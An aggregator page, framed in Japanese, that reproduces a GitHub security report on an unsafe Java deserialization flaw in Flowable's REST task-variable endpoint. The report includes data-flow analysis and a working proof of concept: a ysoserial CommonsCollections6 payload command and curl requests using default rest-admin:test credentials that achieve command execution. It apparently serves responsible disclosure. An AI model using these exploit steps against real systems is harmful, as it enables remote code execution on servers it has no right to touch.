Hacktoberfest 2026:メンテナが10月に向けて印を付けた、オープンで初心者向けの issue。 Hacktoberfest の issue を見る

[SECURITY] Deserialization RCE via PUT /runtime/tasks/{taskId}/variables/{variableName} with type=serializable (CWE-502, CVSS 8.1)

オープン
#4,293 コメント 0 件 リアクション 0 件 担当者 0 名 GitHub で見る

まだ誰も着手していません。

評価

難易度
5/5
見積もり時間
1週間以上
初心者へのやさしさ
30/100
issue の種類
バグ
明瞭さ
説明が足りない
活発さ
活発
技術スタック
java
領域
api, backend, security

調査の方向性

Start with TaskVariableResource.updateVariable and TaskVariableBaseResource.setBinaryVariable, especially the multipart serializable path around ObjectInputStream.readObject() and the rest.variables.allow.serializable default. Trace the endpoint and configuration behavior, then establish a safe, tested handling path for uploaded serialized data; done means attacker-controlled input is not deserialized unsafely in the default deployment.

索引モデルが issue の本文から書いたものです。

説明

Security Vulnerability Report -- CWE-502

Summary

The Flowable REST API's PUT /runtime/tasks/{taskId}/variables/{variableName} endpoint, when handling multipart/form-data requests with the type parameter set to 'serializable', directly uses ObjectInputStream.readObject() to perform Java native deserialization on uploaded files without any class whitelist/blacklist filtering. This feature is enabled by default (rest.variables.allow.serializable=true), allowing an authenticated attacker to achieve remote code execution (RCE) by crafting a malicious serialized object (CommonsCollections6 gadget chain).

Vulnerability Description

Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0


Static Analysis Report

Vulnerability Overview

The Flowable REST API's TaskVariableResource.updateVariable endpoint (PUT /runtime/tasks/{taskId}/variables/{variableName}) supports uploading task variables via multipart/form-data. When the request's type parameter is serializable, the system directly uses java.io.ObjectInputStream.readObject() to perform Java native deserialization on the uploaded file stream, without any class whitelist, ObjectInputFilter, or security filtering mechanism. Since the rest.variables.allow.serializable configuration property defaults to true, this vulnerability is triggerable in default deployments. An authenticated attacker can upload a serialized object containing a malicious gadget chain (e.g., CommonsCollections6, as commons-collections-3.2.2.jar is present in the server classpath) to achieve arbitrary code execution (RCE) on the server.

Exploitation Prerequisites
Condition Description
Authentication Requires valid Basic Auth credentials for the Flowable REST API (@Authorization(value = "basicAuth")). Flowable's default installation creates demo users (rest-admin/test), and many production environments retain default credentials.
Network Accessibility REST API port reachable (internal or external network). Attacker only needs access to the Flowable REST API.
Configuration Dependency Exploitable with default configuration: rest.variables.allow.serializable defaults to true (see TaskVariableBaseResource.afterPropertiesSet()), no additional configuration required.
Business Prerequisites At least one Task must exist in the target Flowable instance, and a variable must exist on that Task for the PUT update. This can be produced through normal operation of the process engine.
Classpath Dependency An exploitable deserialization gadget chain must exist in the server classpath. Flowable 7.1.0 WAR deployment includes commons-collections-3.2.2.jar, making the CommonsCollections6 gadget chain directly exploitable.
Trigger Location

modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/task/TaskVariableBaseResource.java:184-185

} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();  // ← Unsafe deserialization, no filtering
    setVariable(task, variableName, value, scope, isNew);
    stream.close();
}
Data Flow Overview
PUT /runtime/tasks/{taskId}/variables/{variableName}
  Content-Type: multipart/form-data
  Parameters: name=<variable_name>, type=serializable, file=<malicious serialized object>
    ↓
TaskVariableResource.updateVariable (TaskVariableResource.java:94-130)
  request instanceof MultipartHttpServletRequest → true
    ↓
setBinaryVariable((MultipartHttpServletRequest) request, task, false)  (TaskVariableBaseResource.java:123)
  Parses form parameters: name, type, scope
  variableType = "serializable"
    ↓
isSerializableVariableAllowed == true (default)
    ↓
new ObjectInputStream(file.getInputStream()).readObject()  (TaskVariableBaseResource.java:184-185)
  → Deserializes attacker-controlled byte stream → RCE
Data Flow Detailed Code Analysis
Chain 1: multipart/form-data → Unsafe Deserialization

Layer 1: HTTP Entry (TaskVariableResource.java:94-130)

@PutMapping(value = "/runtime/tasks/{taskId}/variables/{variableName}",
    produces = "application/json",
    consumes = {"application/json", "multipart/form-data"})
public RestVariable updateVariable(
    @PathVariable("taskId") String taskId,
    @PathVariable("variableName") String variableName,
    @RequestParam(value = "scope", required = false) String scope,
    HttpServletRequest request) {

    Task task = getTaskFromRequestWithoutAccessCheck(taskId);
    // ...
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, task, false);
    }
  • External input: HttpServletRequest (including multipart file and form parameters), taskId (path parameter)
  • Operation: After verifying taskId exists, checks whether the request is MultipartHttpServletRequest. If so, directly calls setBinaryVariable
  • Data transfer: The entire multipart request (including file stream and form parameters) is passed to setBinaryVariable

Layer 2: Parameter Parsing and File Extraction (TaskVariableBaseResource.java:123-156)

protected RestVariable setBinaryVariable(MultipartHttpServletRequest request, Task task, boolean isNew) {
    MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
    // ...
    Map<String, String[]> paramMap = request.getParameterMap();
    for (String parameterName : paramMap.keySet()) {
        if ("type".equalsIgnoreCase(parameterName)) {
            variableType = paramMap.get(parameterName)[0];  // ← Attacker controls type
        }
    }
  • External input: MultipartHttpServletRequest (including form parameters name, type, scope and uploaded file)
  • Operation: Extracts type (attacker sets to "serializable"), name, scope from form parameters; extracts the first file from multipart
  • Data transfer: variableType = "serializable", file (malicious serialized byte stream) continues downward

Layer 3: Type Check Branch (TaskVariableBaseResource.java:164-191)

if (variableType != null) {
    if (!RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
        && !RestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
        throw new FlowableIllegalArgumentException("Only 'binary' and 'serializable' are supported as variable type.");
    }
}
// ...
if (variableType.equals(RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE)) {
    byte[] variableBytes = IOUtils.toByteArray(file.getInputStream());
    setVariable(task, variableName, variableBytes, scope, isNew);
} else if (isSerializableVariableAllowed) {     // ← Default true
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();           // ← SINK: Unsafe deserialization
    setVariable(task, variableName, value, scope, isNew);
    stream.close();
}
  • External input: variableType (attacker controls to "serializable"), file (attacker-controlled byte stream)
  • Operation: When variableType equals "serializable", enters the deserialization branch. isSerializableVariableAllowed defaults to true (initialized by env.getProperty("rest.variables.allow.serializable", Boolean.class, true)), condition is satisfied. Then directly calls new ObjectInputStream(file.getInputStream()).readObject()
  • Security checks: No filtering whatsoever. No ObjectInputFilter, no class whitelist/blacklist, no custom SecureObjectInputStream. The attacker-provided byte stream is fully trusted
  • Sink: ObjectInputStream.readObject() automatically calls the malicious object's readObject() method during deserialization, triggering the gadget chain to execute arbitrary code
Configuration Default Value Confirmation (TaskVariableBaseResource.java:51-54)
@Override
public void afterPropertiesSet() {
    isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
}
  • Default value is true: Unless the deployer explicitly sets rest.variables.allow.serializable=false, the deserialization feature is enabled by default
CVSS Breakdown

CVSS v3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Vector Value Reason
AV (Attack Vector) Network (N) Triggered via network HTTP request, no local access required
AC (Attack Complexity) Low (L) Attacker only needs to send a multipart HTTP request using a known gadget chain in the classpath
PR (Privileges Required) Low (L) Requires Basic Auth, but Flowable default deployment includes default credentials (rest-admin/test). Any authenticated user can trigger
UI (User Interaction) None (N) No user interaction required, attacker initiates the request
S (Scope) Unchanged (U) Vulnerability impact is limited to the Flowable server process itself
C (Confidentiality) High (H) RCE can read any server files, database credentials, process data
I (Integrity) High (H) RCE can tamper with process definitions, business data, inject malicious workflows
A (Availability) High (H) RCE can stop services, delete data, encrypt filesystem

PoC Verification Report

Flowable REST TaskVariable PUT Endpoint Java Native Deserialization RCE

Vulnerability Summary

  1. Vulnerability Name: Flowable REST API TaskVariableResource.updateVariable Unsafe Deserialization RCE
  2. Affected Component/Port: Flowable REST API (default port 8080) / PUT /runtime/tasks/{taskId}/variables/{variableName}
  3. Vulnerability Brief: The PUT /runtime/tasks/{taskId}/variables/{variableName} endpoint, when receiving multipart/form-data requests with type=serializable, directly uses ObjectInputStream.readObject() to deserialize the uploaded file content without any class filtering mechanism. In default configuration (rest.variables.allow.serializable=true), an authenticated attacker can achieve RCE via the CommonsCollections6 gadget chain.
  4. Root Cause Code Snippet:
// TaskVariableBaseResource.java:182-187
} else if (isSerializableVariableAllowed) {
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();  // ← Unsafe deserialization, no filtering
    setVariable(task, variableName, value, scope, isNew);
    stream.close();
}
  1. Brief Data Flow:
PUT /runtime/tasks/{taskId}/variables/{variableName}
  Content-Type: multipart/form-data
  Parameters: name=testvar, type=serializable, file=<CC6 serialized payload>
    ↓
TaskVariableResource.updateVariable (TaskVariableResource.java:94)
  request instanceof MultipartHttpServletRequest → true
    ↓
setBinaryVariable (TaskVariableBaseResource.java:123)
  Extracts type="serializable", file=<attacker byte stream>
    ↓
isSerializableVariableAllowed == true (default)
    ↓
ObjectInputStream.readObject() (TaskVariableBaseResource.java:185)
  → Deserialization triggers CommonsCollections6 gadget chain → Runtime.exec() → RCE

Exploitation Conditions

Condition Description
Authentication Requires Basic Auth (rest-admin:test are default credentials)
Network Accessibility Internal/external network (REST API HTTP port reachable)
Configuration Dependency Exploitable with default configuration (rest.variables.allow.serializable defaults to true)
Business Prerequisites At least one Task must exist in the target instance, and a variable must already exist on the Task (PUT is an update operation)
Classpath Dependency Server includes commons-collections-3.2.2.jar (Flowable 7.1.0 WAR includes by default)

Exploitation Chain Progress

Successful Exploitation Example:

Chain Stage Location (file:line) Status Evidence / Notes
Entry TaskVariableResource.java:94 ✅ Connected PUT multipart request received by MultipartHttpServletRequest branch
Parameter Parsing TaskVariableBaseResource.java:152 ✅ Connected type="serializable" extracted, variableType set to "serializable"
Type Check TaskVariableBaseResource.java:182 ✅ Connected isSerializableVariableAllowed defaults to true, enters deserialization branch
Sink TaskVariableBaseResource.java:185 ✅ Triggered ObjectInputStream.readObject() deserialized CC6 payload, triggered touch /tmp/pwned_entry_0662 command execution
Conclusion — ✅ Full Chain Closed RCE successful: server created file /tmp/pwned_entry_0662

Exploitation Verification

Step 1: Generate CommonsCollections6 Deserialization Payload

Use ysoserial to generate a serialized payload executing touch /tmp/pwned_entry_0662:

java --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     --add-opens java.base/java.io=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections6 "touch /tmp/pwned_entry_0662" \
     > payload_cc6.bin
Step 2: Create an Initial Variable on the Target Task (PUT Update Requires Variable to Exist)
curl -s -u rest-admin:test \
  -X POST "http://localhost:8080/flowable-rest/service/runtime/tasks/0332a88c-8fff-11f1-a444-02423661ba3a/variables" \
  -H "Content-Type: application/json" \
  -d '[{"name":"testvar","type":"string","value":"dummy"}]'

Returns:

[
    {
        "name": "testvar",
        "type": "string",
        "value": "dummy",
        "scope": "local"
    }
]
Step 3: Send Deserialization Payload to Trigger RCE
curl -s -u rest-admin:test \
  -X PUT "http://localhost:8080/flowable-rest/service/runtime/tasks/0332a88c-8fff-11f1-a444-02423661ba3a/variables/testvar" \
  -F "name=testvar" \
  -F "type=serializable" \
  -F "file=@payload_cc6.bin" \
  -w "\nHTTP_CODE: %{http_code}\n"

Actual execution result: HTTP 200 OK, server returns variable updated to serializable type:

{"name":"testvar","type":"serializable","value":null,"valueUrl":"http://localhost:8080/flowable-rest/service/runtime/tasks/0332a88c-8fff-11f1-a444-02423661ba3a/variables/testvar/data","scope":"local"}

HTTP_CODE: 200

Verify RCE command execution success:

ls -la /tmp/pwned_entry_0662

Output:

-rw-r----- 1 root root 0 Aug  4 12:28 /tmp/pwned_entry_0662
Step 4: Second Verification (Different Task, Confirming Consistency)

Using a different Task ID and a different command touch /tmp/pwned_entry_0662_h2 for repeated verification:

curl -s -u rest-admin:test \
  -X PUT "http://localhost:8080/flowable-rest/service/runtime/tasks/0383aec9-8fff-11f1-a444-02423661ba3a/variables/testvar2" \
  -F "name=testvar2" \
  -F "type=serializable" \
  -F "file=@payload_cc6_h2.bin" \
  -w "\nHTTP_CODE: %{http_code}\n"

Verification:

ls -la /tmp/pwned_entry_0662_h2

Output:

-rw-r----- 1 root root 0 Aug  4 12:30 /tmp/pwned_entry_0662_h2

Conclusion: Two independent tests both successfully triggered RCE. The attacker only needs a valid Basic Auth credential (default rest-admin:test suffices) and a single HTTP PUT request to execute arbitrary system commands on the Flowable REST server with Tomcat process privileges (root). The root cause is ObjectInputStream.readObject() at lines 184-185 of TaskVariableBaseResource.java directly deserializing the attacker-uploaded file content without any class filtering mechanism, and this is enabled by default configuration.

Severity

CVSS v3.1: 8.1 (High)

Vulnerability Category: CWE-502

CVE Assignment Request

If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.

Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.

Thank you for your help.

主要言語
Java
スター
9.6k
フォーク
2.9k
平均マージ
1時間 9分
マージ済み PR(30日)
2

環境構築

  • Dockerfile・Docker Compose ファイルなし
  • プルリクエストのテンプレートあり
  • コントリビューションガイドなし

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

flowable/flowable-engine のほかの issue

flowable/flowable-engine の issue をすべて見る

似ている issue

Java の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。